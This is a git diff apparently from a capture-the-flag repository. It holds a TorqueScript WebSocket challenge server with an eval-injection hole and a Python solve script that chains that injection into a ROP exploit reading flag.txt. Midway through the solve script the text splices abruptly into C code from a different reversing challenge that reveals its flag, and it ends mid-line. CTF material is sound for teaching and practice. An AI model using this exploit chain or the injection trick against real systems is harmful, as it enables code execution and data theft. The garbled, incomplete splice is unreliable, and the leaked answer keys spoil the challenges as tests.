}; + return %frame; +} + +function WebSocketServerClient::onFrame(%this, %frame) { + switch (%frame.opcode) { + case 0: // Continuation + %this.message = %this.message @ %frame.buffer; + if (%frame.fin) { + // Finish frame + %this.onMessage(%this.message); + %this.message = ""; + } + case 1: // Text + %this.message = %frame.buffer; + if (%frame.fin) { + // Finish frame + %this.onMessage(%this.message); + %this.message = ""; + } + case 2: // Binary + %this.message = %frame.buffer; + if (%frame.fin) { + // Finish frame + %this.onMessage(%this.message); + %this.message = ""; + } + case 3 or 4 or 5 or 6 or 7: // Reserved + case 8: // Connection close + %this.close(1000, "Connection closed by peer"); + case 9: // Ping + %this.pong(%frame.buffer); + case 10: // Pong + // Don't care + case 11 or 12 or 13 or 14 or 15: // Reserved + } +} + +function WebSocketServerClient::wrapOutput(%this, %func, %arg1, %arg2) { + if ($devmode) { + %logFile = "chattge/websocket.log"; + %logger = new ConsoleLogger(HTTPLogger, %logFile); + %logger.attach(); + %logger.level = warning; + } + + devecho("return " @ %func @ "(" @ longstringify(%arg1) @ ", " + @ longstringify(%arg2) @ ");"); + %result = eval("return " @ %func @ "(" @ longstringify(%arg1) @ ", " + @ longstringify(%arg2) @ ");"); + + if ($devmode) { + %logger.detach(); + %logger.delete(); + + // Collect errors + %file = new FileObject(); + if (%file.openForRead(%logFile)) { + for (%line = %file.readLine(); %line !$= ""; + %line = %file.readLine()) { + %message = new ScriptObject() { + name[0] = "type"; + name[1] = "value"; + type = "stdout"; + value = %line; + }; + %this.message(jsonPrint(%message)); + %message.delete(); + } + %file.close(); + } else { + %message = new ScriptObject() { + name[0] = "type"; + name[1] = "value"; + type = "stdout"; + value = "Cannot open file " @ %logFile; + }; + %this.message(jsonPrint(%message)); + %message.delete(); + } + %file.delete(); + } + + return %result; +} + +function WebSocketServerClient::onMessage(%this, %message) { + %this.wrapOutput("Chat::onMessage", %this, %message); +} + +function WebSocketServerClient::sendFrame(%this, %buffer, %fin, %op, %mask) { + %b0 = $WebSocket::Opcode[%op]; + if (%fin) { + %b0 |= 0x80; + } + %packet = chr(%b0); + + %b1 = 0; + if (%mask) { + %b1 |= 0x80; + } + %length = strlen(%buffer); + if (%length > 65535) { + return false; + } else if (%length > 125) { + if (%length < 255) { + return false; + } + if (%length % 256 == 0) { + return false; + } + %b1 |= 126; + %packet = %packet + @ chr(%b1) + @ chr((%length & 0xFF00) >> 8) + @ chr(%length & 0xFF); + } else { + %b1 |= %length; + %packet = %packet @ chr(%b1); + } + if (%mask) { + // Pick something that won't make the buffer have any zeros + for (%i = 0; %i < %length; %i += 4) { + %chr0 = ord(getSubStr(%buffer, %i + 0, 1)); + %chr1 = ord(getSubStr(%buffer, %i + 1, 1)); + %chr2 = ord(getSubStr(%buffer, %i + 2, 1)); + %chr3 = ord(getSubStr(%buffer, %i + 3, 1)); + + %used0[%chr0] = true; + %used1[%chr1] = true; + %used2[%chr2] = true; + %used3[%chr3] = true; + } + + %found = false; + for (%i = 1; %i < 256; %i ++) { + if (!%used0[%i]) { + %key = %key @ chr(%i); + %found = true; + break; + } + } + if (!%found) { + return false; + } + + %found = false; + for (%i = 1; %i < 256; %i ++) { + if (!%used1[%i]) { + %key = %key @ chr(%i); + %found = true; + break; + } + } + if (!%found) { + return false; + } + + %found = false; + for (%i = 1; %i < 256; %i ++) { + if (!%used2[%i]) { + %key = %key @ chr(%i); + %found = true; + break; + } + } + if (!%found) { + return false; + } + + %found = false; + for (%i = 1; %i < 256; %i ++) { + if (!%used3[%i]) { + %key = %key @ chr(%i); + %found = true; + break; + } + } + if (!%found) { + return false; + } + + %masked = ""; + for (%i = 0; %i < %length; %i ++) { + %ch = ord(getSubStr(%buffer, %i, 1)) ^ ord(getSubStr(%key, %i % 4, 1)); + if (%ch == 0) { + // Should never happen + %this.close(1011, "Null byte detected"); + return ""; + } + %masked = %masked @ chr(%ch); + } + %buffer = %masked; + + %packet = %packet @ %key; + } + %packet = %packet @ %buffer; + %r = %this.send(%packet); + if (%r < 0) { + return false; + } + return true; +} + +function WebSocketServerClient::message(%this, %buffer) { + devecho("<< " @ %buffer); + %length = strlen(%buffer); + for (%i = 0; %i < %length; %i += 125) { + %chunk = getSubStr(%buffer, %i, 125); + + %first = %i == 0; + %last = %i + 125 >= %length; + + %op = (%first ? "Text" : "Continuation"); + %fin = %last; + + if (!%this.sendFrame(%chunk, %fin, %op, false)) { + %this.close(1006, "Failed to send frame"); + return false; + } + } + return true; +} + +function WebSocketServerClient::ping(%this, %buffer) { + if (!%this.sendFrame(%buffer, true, "Ping", false)) { + %this.close(1006, "Failed to send frame"); + return false; + } + return true; +} + +function WebSocketServerClient::pong(%this, %buffer) { + if (!%this.sendFrame(%buffer, true, "Pong", false)) { + %this.close(1006, "Failed to send frame"); + return false; + } + return true; +} + +function WebSocketServerClient::close(%this, %code, %reason) { + %this.wrapOutput("Chat::onDisconnect", %this, %reason); + %buffer = chr(%code >> 8) @ chr(%code & 0xFF) @ %reason; + %this.sendFrame(%buffer, true, "Close", false); + %this.init(); +} + +function WebSocketServerClient::abort(%this) { + %this.sendHeaders(); + %this.init(); +} + +function WebSocketServerClient::sendHeartbeat(%this) { + cancel(%this.heartbeat); + if (!%this.ping("Workaround for TCPObject::onLine")) { + return; + } + %this.heartbeat = %this.schedule(200, sendHeartbeat); +} + +//----------------------------------------------------------------------------- +// Utilities +//----------------------------------------------------------------------------- + +function WebSocketServerClient::addHeader(%this, %name, %value) { + %this.header[%this.headers, "name"] = %name; + %this.header[%this.headers, "value"] = %value; + %this.headers ++; +} + +function WebSocketServerClient::processHeaders(%this) { + %method = getWord(%this.requestLine, 0); + %uri = getWord(%this.requestLine, 1); + %version = getWord(%this.requestLine, 2); + + if (getSubStr(%version, 0, 7) !$= "HTTP/1.") { + %this.responseCode = 505; + %this.abort(); + return; + } + + %this.method = %method; + %this.uri = %uri; + + for (%i = 0; %i < %this.receivedHeaders; %i ++) { + %header = %this.receivedHeader[%i]; + %colon = strpos(%header, ":"); + if (%colon == -1) { + %this.responseCode = 400; + %this.abort(); + return; + } + %name = trim(getSubStr(%header, 0, %colon)); + %value = trim(getSubStr(%header, %colon + 1, strlen(%header))); + %this.receivedHeader[%i, "name"] = %name; + %this.receivedHeader[%i, "value"] = %value; + %this.receivedHeader[%name] = %value; + } +} + +function WebSocketServerClient::parseQuery(%this, %query) { + %this.params = 0; + %amp = strpos(%query, "&"); + while (%amp != -1) { + %param = getSubStr(%query, 0, %amp); + %equals = strpos(%param, "="); + if (%equals == -1) { + return false; + } + %name = getSubStr(%param, 0, %equals); + %value = getSubStr(%param, %equals + 1, strlen(%param)); + + %this.param[%this.params, "name"] = URLDecode(%name); + %this.param[%this.params, "value"] = URLDecode(%value); + %this.params ++; + + %query = getSubStr(%query, %amp + 1, strlen(%query)); + %amp = strpos(%query, "&"); + } + %param = %query; + if (%param $= "") { + return true; + } + %equals = strpos(%param, "="); + if (%equals == -1) { + return false; + } + %name = getSubStr(%param, 0, %equals); + %value = getSubStr(%param, %equals + 1, strlen(%param)); + + %this.param[%this.params, "name"] = URLDecode(%name); + %this.param[%this.params, "value"] = URLDecode(%value); + %this.params ++; + + return true; +} diff --git a/chattge/chal/flag.txt b/chattge/chal/flag.txt new file mode 100644 index 0000000..fb29cb7 --- /dev/null +++ b/chattge/chal/flag.txt @@ -0,0 +1 @@ +flag{here is the real flag} diff --git a/chattge/chal/main.cs b/chattge/chal/main.cs new file mode 100755 index 0000000..5eb52fc --- /dev/null +++ b/chattge/chal/main.cs @@ -0,0 +1,239 @@ +//----------------------------------------------------------------------------- +// Torque Shader Engine +// Copyright (C) GarageGames.com, Inc. +//----------------------------------------------------------------------------- + +$flag = "the flag has been reloacated to flag.txt after the last breach"; +$displayHelp = false; + +//----------------------------------------------------------------------------- +// Support functions used to manage the mod string + +function pushFront(%list, %token, %delim) +{ + if (%list !$= "") + return %token @ %delim @ %list; + return %token; +} + +function pushBack(%list, %token, %delim) +{ + if (%list !$= "") + return %list @ %delim @ %token; + return %token; +} + +function popFront(%list, %delim) +{ + return nextToken(%list, unused, %delim); +} + +//------------------------------------------------------------------------------ +// Process command line arguments +for ($i = 1; $i < $Game::argc ; $i++) +{ + $arg = $Game::argv[$i]; + $nextArg = $Game::argv[$i+1]; + $hasNextArg = $Game::argc - $i > 1; + $logModeSpecified = false; + + switch$ ($arg) + { + //-------------------- + case "-log": + $argUsed[$i]++; + if ($hasNextArg) + { + // Turn on console logging + if ($nextArg != 0) + { + // Dump existing console to logfile first. + $nextArg += 4; + } + setLogMode($nextArg); + $logModeSpecified = true; + $argUsed[$i+1]++; + $i++; + } + else + error("Error: Missing Command Line argument. Usage: -log "); + + //-------------------- + case "-compileall": + $compileGuis = true; + $compileScripts = true; + $argUsed[$i]++; + echo("Compile all!"); + + //-------------------- + case "-mod": + $argUsed[$i]++; + if ($hasNextArg) + { + // Append the mod to the end of the current list + $userMods = strreplace($userMods, $nextArg, ""); + $userMods = pushFront($userMods, $nextArg, ";"); + $argUsed[$i+1]++; + $i++; + $modcount++; + } + else + error("Error: Missing Command Line argument. Usage: -mod "); + + //-------------------- + case "-game": + $argUsed[$i]++; + if ($hasNextArg) + { + // Remove all mods, start over with game + $userMods = $nextArg; + $argUsed[$i+1]++; + $i++; + $modcount = 1; + } + else + error("Error: Missing Command Line argument. Usage: -game "); + + //-------------------- + case "-console": + enableWinConsole(true); + $argUsed[$i]++; + + //------------------- + case "-help": + $displayHelp = true; + $argUsed[$i]++; + + //------------------- + default: + $argUsed[$i]++; + if($userMods $= "") + $userMods = $arg; + } +} + +$userMods = "chattge"; +$modcount++; + +//----------------------------------------------------------------------------- +// The displayHelp, onStart, onExit and parseArgs function are overriden +// by mod packages to get hooked into initialization and cleanup. + +function onStart() +{ + // Default startup function +} + +function onExit() +{ + // OnExit is called directly from C++ code, whereas onStart is + // invoked at the end of this file. +} + +function parseArgs() +{ + // Here for mod override, the arguments have already + // been parsed. +} + +package Help { + function onExit() { + // Override onExit when displaying help + } +}; + +function displayHelp() { + activatePackage(Help); + + // Notes on logmode: console logging is written to console.log. + // -log 0 disables console logging. + // -log 1 appends to existing logfile; it also closes the file + // (flushing the write buffer) after every write. + // -log 2 overwrites any existing logfile; it also only closes + // the logfile when the application shuts down. (default) + + error( + "Torque Demo command line options:\n"@ + " -log Logging behavior; see main.cs comments for details\n"@ + " -game Reset list of mods to only contain \n"@ + " Works like the -game argument\n"@ + " -mod Add to list of mods\n"@ + " -console Open a separate console\n"@ + " -help Display this help message\n" + ); +} + + +//-------------------------------------------------------------------------- + +// Default to a new logfile each session. +if( !$logModeSpecified ) +{ + if( $platform !$= "xbox" && $platform !$= "xenon" ) + setLogMode(6); +} + +// Set the mod path which dictates which directories will be visible +// to the scripts and the resource engine. +setModPaths($userMods); + +// Execute startup scripts for each mod, starting at base and working up +function loadDir(%dir) +{ + setModPaths(pushback($userMods, %dir, ";")); + exec(%dir @ "/main.cs"); +} + +function loadMods(%modPath) +{ + %modPath = nextToken(%modPath, token, ";"); + if (%modPath !$= "") + loadMods(%modPath); + + if(exec(%token @ "/main.cs") != true){ + error("Error: Unable to find specified mod: " @ %token ); + $modcount--; + } +} + +// Get the first mod on the list, which will be the last to be applied... this +// does not modify the list. +nextToken($userMods, currentMod, ";"); + +echo("--------- Loading MODS ---------"); +loadMods($userMods); +echo(""); + +if($modcount == 0) { + enableWinConsole(true); + error("Error: Unable to load any specified mods"); + quit(); +} +// Parse the command line arguments +echo("--------- Parsing Arguments ---------"); +parseArgs(); + +// Either display the help message or startup the app. +if($compileScripts) { + enableWinConsole(true); + activatePackage(Help); + for ($file = findFirstFile("*.cs"); $file !$= ""; $file = findNextFile("*.cs")) { + echo($file); + compile($file); + } + quit(); +} else if ($displayHelp) { + enableWinConsole(true); + displayHelp(); + quit(); +} else { + onStart(); + echo("Engine initialized..."); +} + +// Display an error message for unused arguments +for ($i = 1; $i < $Game::argc; $i++) { + if (!$argUsed[$i]) { + error("Error: Unknown command line argument: " @ $Game::argv[$i]); + } +} diff --git a/chattge/chal/start.py b/chattge/chal/start.py new file mode 100644 index 0000000..ac2cb0e --- /dev/null +++ b/chattge/chal/start.py @@ -0,0 +1,34 @@ +import select +import subprocess +import sys +import time + +for i in range(2): + sacrificial_netcat = subprocess.Popen(['nc', '-l', '28080']) + print("sacrificial netcat is a go", file=sys.stderr) + time.sleep(1) + sacrificial_netcat.kill() + print("thank you, sacrificial netcat", file=sys.stderr) + print("what the fuck, docker", file=sys.stderr) + +proc = subprocess.Popen( + ["wine", "./ChatTGE.exe"] + sys.argv[2:], stderr=subprocess.PIPE) + +needle = b'starting debugger...' +poll = select.poll() +poll.register(proc.stderr, select.POLLIN) +output_buffer = b'' +while proc.poll() is None: + result = poll.poll(100) + if not result: + continue + + output = proc.stderr.read1() + sys.stdout.buffer.write(output) + output_buffer += output + if needle in output_buffer: + proc.kill() + break + + if len(output_buffer) >= len(needle): + output_buffer = output_buffer[-len(needle):] diff --git a/chattge/chal/start.sh b/chattge/chal/start.sh new file mode 100755 index 0000000..17fc743 --- /dev/null +++ b/chattge/chal/start.sh @@ -0,0 +1,10 @@ +#!/bin/bash + +wine regedit.exe "wine.reg" + +echo > console.log +tail -f console.log & + +xvfb-run -a python3 ./start.py -mod chattge -listen 28080 -host "$HOSTNAME" + +kill -9 %1 diff --git a/chattge/chal/wine.reg b/chattge/chal/wine.reg new file mode 100644 index 0000000..94b9375 --- /dev/null +++ b/chattge/chal/wine.reg @@ -0,0 +1,4 @@ +Windows Registry Editor Version 5.00 + +[HKEY_LOCAL_MACHINE\Software\Wine\WineDbg] +"ShowCrashDialog"="dword:00000000" diff --git a/chattge/misc/WebStarterKit_OPTIMIZEDDEBUG.pdb b/chattge/misc/WebStarterKit_OPTIMIZEDDEBUG.pdb new file mode 100644 index 0000000..3c9624b Binary files /dev/null and b/chattge/misc/WebStarterKit_OPTIMIZEDDEBUG.pdb differ diff --git a/chattge/setup.sh b/chattge/setup.sh new file mode 100755 index 0000000..7cc2e68 --- /dev/null +++ b/chattge/setup.sh @@ -0,0 +1,18 @@ +#!/bin/bash -x + +set -e + +# My stupid macbook has ARM docker and can't run wine i386 properly +# Are you saying running windows in linux in macos was a bad idea? +# Are you saying also doing that via qemu user system is dumb? +export DOCKER_HOST="ssh://ctf@127.0.0.1" + +docker compose build + +# Copy images locally for manual poking +IMAGE=$(docker create chattge-chattge:latest) +docker cp $IMAGE:/handout.tar.gz handout.tar.gz +docker cp $IMAGE:/server.tar.gz server.tar.gz +docker container rm $IMAGE + +docker compose up diff --git a/chattge/sol/Pipfile b/chattge/sol/Pipfile new file mode 100644 index 0000000..b50f17d --- /dev/null +++ b/chattge/sol/Pipfile @@ -0,0 +1,12 @@ +[[source]] +name = "pypi" +url = "https://pypi.org/simple" +verify_ssl = true + +[dev-packages] + +[packages] +websocket-client = "1.5.1" + +[requires] +python_version = "3.8" diff --git a/chattge/sol/Pipfile.lock b/chattge/sol/Pipfile.lock new file mode 100644 index 0000000..463fc1e --- /dev/null +++ b/chattge/sol/Pipfile.lock @@ -0,0 +1,29 @@ +{ + "_meta": { + "hash": { + "sha256": "abf7ce8fe1ae8279495252a3f80c00ac397e89a367dcb5efd7e1f97cb712f3f8" + }, + "pipfile-spec": 6, + "requires": { + "python_version": "3.8" + }, + "sources": [ + { + "name": "pypi", + "url": "https://pypi.org/simple", + "verify_ssl": true + } + ] + }, + "default": { + "websocket-client": { + "hashes": [ + "sha256:3f09e6d8230892547132177f575a4e3e73cfdf06526e20cc02aa1c3b47184d40", + "sha256:cdf5877568b7e83aa7cf2244ab56a3213de587bbe0ce9d8b9600fc77b455d89e" + ], + "index": "pypi", + "version": "==1.5.1" + } + }, + "develop": {} +} diff --git a/chattge/sol/solve.py b/chattge/sol/solve.py new file mode 100644 index 0000000..05b35ac --- /dev/null +++ b/chattge/sol/solve.py @@ -0,0 +1,302 @@ +from websocket import WebSocket, ABNF +import argparse +import itertools +import socket +import struct +import json +import time + +def do_it(addr, port): + ws = WebSocket() + # mask key with newlines to make message sending more reliable + # (torque needs a newline to process old messages) + ws.get_mask_key = lambda l: b'\n' * l + ws.connect(f"ws://{addr}:{port}/chat") + + def send(ws, text): + # don't do more than 100 because length > 126 adds a nul to your encoded length + for i in range(0, len(text), 100): + slice = text[i:i+100] + print(slice) + op = ABNF.OPCODE_TEXT if i == 0 else ABNF.OPCODE_CONT + frame = ABNF.create_frame(slice, op, 1 if i + 100 >= len(text) else 0) + # websocket-python really hates this line lol + frame.rsv1 = 1 # prevent opcode byte from being 00 + ws.send_frame(frame) + print(f"<< {frame.format()}") + # send a ping frame so we get some newlines + ws.send_frame(ABNF.create_frame("aaaaaaa", ABNF.OPCODE_PING)) + + # use eval injection in jsonParse + def ws_eval(cmd, wait=True): + print(cmd) + # {"type=eval(\"stuff\");//": "1"} + # turns into 1234.type=eval("stuff");// = 1 + send(ws, json.dumps({"type=eval(\"" + cmd.replace("\\", "\\\\").replace("\"", "\\\"").replace("\n", " ").replace("\t", " ").replace("\r", " ") + "\");//": "1"})) + if not wait: + return None + # websocket lib handles pong for us + frame = json.loads(ws.recv()) + print(f">> {frame}") + # in case we get other non result messages + while frame["type"] != "result": + frame = json.loads(ws.recv()) + print(f">> {frame}") + # "I don't know what you mean by ." + return frame["value"][len("I don't know what you mean by "):-1] + + # There's probably a better way to capture the incoming fd of socket2 + ws_eval(""" + function devecho(%cmd) { + if (strpos(%cmd, "onConnectRequest") != -1) { + $result = %cmd; + } + } + """) + + # Open a second socket for sending the results back + # because we need an fd to write it to + socket2 = socket.socket() + socket2.connect((addr, port)) + + # Probably should have just overridden WebSocketServer::onConnectRequest lol + next_line = ws_eval("return $result;") + + # Make sure we actually got it + print(next_line) + assert('WebSocketServer::onConnectRequest' in next_line) + + # Extract fd + for line in next_line.split("\n"): + if "WebSocketServer::onConnectRequest" in line: + line = line.strip() + line = line[:-1] + line = line[line.rfind(" ")+1:] + out_fd = int(line) + + print(f"result fd: {out_fd}") + + # can't just use script to read flag.txt since the vfs cannot read in the root + # so use the bug in echo/dSprintf to pivot to rop and open the file ourselves + # there are other ways to do this, but i don't think you can workaround having + # to get to arbitrary code execution + + # here are the register states at the time of rop control + # EAX: 0x1601 + # EBX: 0x2 + # ECX: 0x41414141 ('AAAA') + # EDX: 0xa9a1d --> 0x0 + # ESI: 0x2 + # EDI: 0x1a6a708 ('A' ...) + # EBP: 0x41414141 ('AAAA') + # ESP: 0x21f190 --> 0x7bc692a0 --> 0x9090c359 --> 0x0 + # EIP: 0x7bc4acbc --> 0x768dc3 --> 0x25 ('%') + + # getting data into this sucks, so i'm building the entire payload in one shot + # in_fd = open(eax=5, ebx="flag.txt", ecx=0, edx=0) + # sendfile did not work because LMAO my socket fd is a wine fd not a linux fd + # read(eax=3, ebx=fd, ecx=buf, edx=count) + # ~~sendfile(eax=0xef, ebx=out_fd, ecx=in_fd, edx=0, esi=0x100)~~ + # instead, just use Net::send(out_fd, buffer, size) + + # kernel32.dll + # no aslr, thanks wine + # this binary doesn't have very many gadgets, so we just use it to build a + # better chain with all the gadgets offset by a constant that makes sure every + # byte is not nul (thanks, torque) + # then we can use the exe's gadgets and there are way more of those + + # general strategy: + # 0x7b62ea97, # pop eax ; pop ecx ; retn + # eax = target gadget - 0xa910448d + # ecx = location - 0x14 + # 0x7b61c398, # add eax, 0xa910448d ; retn + # now eax = target gadget + # 0x7b62e9e5, # mov dword [ecx+0x14], eax ; xor eax, eax ; retn + # writes target gadget to location + # after gadgets are written, pivot stack + # 0x7b618058, # pop ebp ; retn + # 0x7b61544f, # leave ; retn + + # ChatTGE.exe + # addresses have a nul, need to write to a buffer and jump there + # 0x0062d8f0, # pop eax ; retn + # 0x00449e2b, # pop ebx ; retn + # 0x0041d739, # pop ecx ; retn + # 0x00409b02, # pop edx ; retn + # 0x00440dda, # pop esi ; retn + + # some writable data at 0x7b630820 it's rw in kernelbase.dll + buffer = 0x7b630820 + flag_size = 0x40 + + buffer_payload = [ + # i can't find a good int 0x80 ; ret gadget in the binary + # (do i even need one? does int 0x80 return to the caller?) + # anyway, here's a shitty workaround: just protect some memory as rw + # then we can write the int 0x80 there and protect it rx after + + # VirtualProtect(somePage, 0x1000, PAGE_READWRITE, oldProtect [just needs to be good]) + + 0x7b60e254, # virtualprotect + 0x0041d6ef, # retn # next address + 0x0044d000, # lpAddress + 0x1000, # dwSize, + 0x04, # flNewProtect = PAGE_READWRITE + buffer - 0xc, # lpflOldProtect + + # *somePage = `int 0x80 ; ret` + + 0x0062d8f0, # pop eax ; retn + 0x0044d000, # addr + 0x0041d739, # pop ecx ; retn + 0x00c380cd, # data + 0x0047f03e, # mov dword [eax], ecx ; retn + + # VirtualProtect(somePage, 0x1000, PAGE_EXECUTE_READ, oldProtect [just needs to be good]) + + 0x7b60e254, # virtualprotect + 0x0041d6ef, # retn # next address + 0x0044d000, # lpAddress + 0x1000, # dwSize, + 0x20, # flNewProtect = PAGE_EXECUTE_READ + buffer - 0xc, # lpflOldProtect + + # write flag.txt to buffer + + 0x0062d8f0, # pop eax ; retn + buffer, # addr + 0x0041d739, # pop ecx ; retn + 0x67616C66, # data + 0x0047f03e, # mov dword [eax], ecx ; retn + + 0x0062d8f0, # pop eax ; retn + buffer + 4, # addr + 0x0041d739, # pop ecx ; retn + 0x7478742E, # data + 0x0047f03e, # mov dword [eax], ecx ; retn + + 0x0062d8f0, # pop eax ; retn + buffer + 8, # addr + 0x0041d739, # pop ecx ; retn + 0x0, # data + 0x0047f03e, # mov dword [eax], ecx ; retn + + # in_fd = open(eax=5, ebx="flag.txt", ecx=0, edx=0) + + 0x0062d8f0, # pop eax ; retn + 5, # eax + 0x00449e2b, # pop ebx ; retn + buffer, # ebx + 0x0041d739, # pop ecx ; retn + 0, # ecx + 0x00409b02, # pop edx ; retn + 0, # edx + 0x0044d000, # int 0x80 ; retn + + # read(eax=3, ebx=in_fd, ecx=buffer, edx=0x20) + + 0x00449e2b, # pop ebx ; retn + 0, # ebx + 0x006a0672, # xor ebx, eax ; mov al, 0x18 ; retn + + 0x0062d8f0, # pop eax ; retn + 3, # eax + 0x0041d739, # pop ecx ; retn + 0x806000, # ecx + 0x00409b02, # pop edx ; retn + flag_size, # edx + 0x0044d000, # int 0x80 ; retn + + # can't use sendfile but i can use this + # Net::sendToSocket(out_fd, buffer, size) + + 0x006a7800, # Net::sendToSocket + 0x00745d46, # exit + out_fd, # fd + 0x806000, # buffer + flag_size, # size + ] + + # Sanity check that we don't have any nuls + for gadget in buffer_payload: + assert(gadget + 0x56efbb73) & 0xff != 0 + assert(gadget + 0x56efbb73) & 0xff00 != 0 + assert(gadget + 0x56efbb73) & 0xff0000 != 0 + assert(gadget + 0x56efbb73) & 0xff000000 != 0 + + # assemble payload building payload + payload = [ + # debugging: + # 0x7bc4acbb, # int3 ; retn + ] + list(itertools.chain(*[[ + # these are just buffer[i*4] = (gadget + ) - + 0x7b62ea97, # pop eax ; pop ecx ; retn + (gadget + 0x56efbb73) & 0xffffffff, + buffer - 0x14 + i * 4, # ecx + 0x7b61c398, # add eax, 0xa910448d ; retn + 0x7b62e9e5, # mov dword [ecx+0x14], eax ; xor eax, eax ; retn + ] for i, gadget in enumerate(buffer_payload)])) + [ + # esp = buffer + 0x7b618058, # pop ebp ; retn + buffer - 4, # buffer + 0x7b61544f, # leave ; retn + ] + + # straight outta xonshrc + def splitN(a,n): + """ + splitN takes an array [1, 2, 3, 4, 5, 6] and gives you [[1, 2], [3, 4], [5, 6]] + """ + import math + return [a[i*n:(i+1)*n] for i in range(math.ceil(len(a)/n))] + + # turn gadget into \x12\x34\x56\x78 so torque can parse it + def dp32(stuff): + return ''.join([f'\\x{ch:02x}' for ch in struct.pack('= t ? (v -= t, 1) : 0) + +static unsigned int __builtin_xor(unsigned int a, unsigned int b) { + int r = 0; + for (int i = 0; i < 24; i++) { + int t = __builtin_bits_table[i]; + int a1 = __BUILTIN_TO_BIT(a, t); + int b1 = __BUILTIN_TO_BIT(b, t); + if (a1 != b1) + r += t; + } + return r; +} + +// side channel friendly :) +int abs(int x) { + if (x > 0) { + return x; // 0 + x + } else { + return 0 - x; // 0 - x + } +} + +int check_flag(char* buffer) { + if (getchar() != 'f' + || getchar() != 'l' + || getchar() != 'a' + || getchar() != 'g' + || getchar() != '{') { + return 0; + } + + // vmprotect?_where_we_re_going_we_ll_need_protecti0n_FR0Mm_th3_vms + + // getchar count obviously leaks these + if (getchar() != 'v') { return 0; } + if (getchar() != 'm') { return 0; } + if (getchar() != 'p') { return 0; } + if (getchar() != 'r') { return 0; } + if (getchar() != 'o') { return 0; } + if (getchar() != 't') { return 0; } + if (getchar() != 'e') { return 0; } + if (getchar() != 'c') { return 0; } + if (getchar() != 't') { return 0; } + if (getchar() != '?') { return 0; } + if (getchar() != '_') { return 0; } + if (getchar() != 'w') { return 0; } + if (getchar() != 'h') { return 0; } + if (getchar() != 'e') { return 0; } + if (getchar() != 'r') { return 0; } + if (getchar() != 'e') { return 0; } + + int result = 0; + // Instruction count also leaks these + result += abs(getchar() - '_'); + result += abs(getchar() - 'w'); + result += abs(getchar() - 'e'); + result += abs(getchar() - '_'); + result += abs(getchar() - 'r'); + result += abs(getchar() - 'e'); + result += abs(getchar() - '_'); + result += abs(getchar() - 'g'); + result += abs(getchar() - 'o'); + result += abs(getchar() - 'i'); + result += abs(getchar() - 'n'); + result += abs(getchar() - 'g'); + result += abs(getchar() - '_'); + result += abs(getchar() - 'w'); + result += abs(getchar() - 'e'); + result += abs(getchar() - '_'); + if (result != 0) { return 0; } + + // No instruction count side channel anymore (xor adds a bunch of noise) + // You can leak these from the DSO by looking for CD?4 and every couple + // ?-bytes is the right char (every 3). + // C / 67 -> OP_POP_STK (end of previous instruction) + // D / 68 -> OP_LOADIMMED_UINT + // ? -> + // 4 / 52 -> OP_SAVE_LOCAL_VAR_UINT + result += (getchar() ^ 'l'); + result += (getchar() ^ 'l'); + result += (getchar() ^ '_'); + result += (getchar() ^ 'n'); + result += (getchar() ^ 'e'); + result += (getchar() ^ 'e'); + result += (getchar() ^ 'd'); + result += (getchar() ^ '_'); + result += (getchar() ^ 'p'); + result += (getchar() ^ 'r'); + result += (getchar() ^ 'o'); + result += (getchar() ^ 't'); + result += (getchar() ^ 'e'); + result += (getchar() ^ 'c'); + result += (getchar() ^ 't'); + result += (getchar() ^ 'i'); + if (result != 0) { return 0; } + + // ok THIS section you can't side channel like that + // CD\xff????4 will leak the constants at the end if you know to look for them + // But you'll probably have to write an actual disassembler for this part + // Apologies in advance lol + + // Probably only has 1 solution, at least for integers in 32..127 + int a = getchar(); + int b = getchar(); + int c = getchar(); + int d = getchar(); + int e = getchar(); + int f = getchar(); + int g = getchar(); + int h = getchar(); + int i = getchar(); + int j = getchar(); + int k = getchar(); + int l = getchar(); + int m = getchar(); + int n = getchar(); + int o = getchar(); + int p = getchar(); + // Thanks, python + // Busted by subtraction: apparently "s0n_FR0Mm_3ht_mv" also matches if you forget abs() + int result2[16] = { 0 }; + result2[0] = abs(a + b + c + d + e + f + g + h + i + j + k + l + m + n + o - 1327); + result2[1] = abs(b + c + d + e + f + g + h + i + j + k + l + m + n + o + p - 1394); + result2[2] = abs(c + d + e + f + g + h + i + j + k + l + m + n + o + p + a - 1332); + result2[3] = abs(d + e + f + g + h + i + j + k + l + m + n + o + p + a + b - 1347); + result2[4] = abs(e + f + g + h + i + j + k + l + m + n + o + p + a + b + c - 1372); + result2[5] = abs(f + g + h + i + j + k + l + m + n + o + p + a + b + c + d - 1360); + result2[6] = abs(g + h + i + j + k + l + m + n + o + p + a + b + c + d + e - 1394); + result2[7] = abs(h + i + j + k + l + m + n + o + p + a + b + c + d + e + f - 1365); + result2[8] = abs(i + j + k + l + m + n + o + p + a + b + c + d + e + f + g - 1333); + result2[9] = abs(j + k + l + m + n + o + p + a + b + c + d + e + f + g + h - 1347); + result2[10] = abs(k + l + m + n + o + p + a + b + c + d + e + f + g + h + i - 1326); + result2[11] = abs(l + m + n + o + p + a + b + c + d + e + f + g + h + i + j - 1338); + result2[12] = abs(m + n + o + p + a + b + c + d + e + f + g + h + i + j + k - 1391); + result2[13] = abs(n + o + p + a + b + c + d + e + f + g + h + i + j + k + l - 1347); + result2[14] = abs(o + p + a + b + c + d + e + f + g + h + i + j + k + l + m - 1324); + result2[15] = abs(p + a + b + c + d + e + f + g + h + i + j + k + l + m + n - 1333); + + if (result2[0] != 0) { return 0; } + if (result2[1] != 0) { return 0; } + if (result2[2] != 0) { return 0; } + if (result2[3] != 0) { return 0; } + if (result2[4] != 0) { return 0; } + if (result2[5] != 0) { return 0; } + if (result2[6] != 0) { return 0; } + if (result2[7] != 0) { return 0; } + if (result2[8] != 0) { return 0; } + if (result2[9] != 0) { return 0; } + if (result2[10] != 0) { return 0; } + if (result2[11] != 0) { return 0; } + if (result2[12] != 0) { return 0; } + if (result2[13] != 0) { return 0; } + if (result2[14] != 0) { return 0; } + if (result2[15] != 0) { return 0; } + + // This section brought to you by getting woken up after 4 hours of sleep + + // Mega sanity check in a way that is hopefully not ez to leak + // Thanks again, python + result = 0; + if (n - 0x3c - 0xf - 0xc - 0x10 - 0xf != 0) { result = 1; } + if (l - 0x31 - 0x1 - 0x1 != 0) { result = 1; } + if (a - 0x2c - 0x4 != 0) { result = 1; } + if (c - 0x58 - 0x3 - 0x3 - 0x1 != 0) { result = 1; } + if (e - 0x24 - 0x3 - 0x13 - 0x11 - 0x3 - 0x4 != 0) { result = 1; } + if (f - 0xe - 0x10 - 0xe - 0x1 - 0x3 != 0) { result = 1; } + if (p - 0x8 - 0x2b - 0xb - 0x1b - 0x1a != 0) { result = 1; } + if (g - 0x3f - 0x4 - 0x6 - 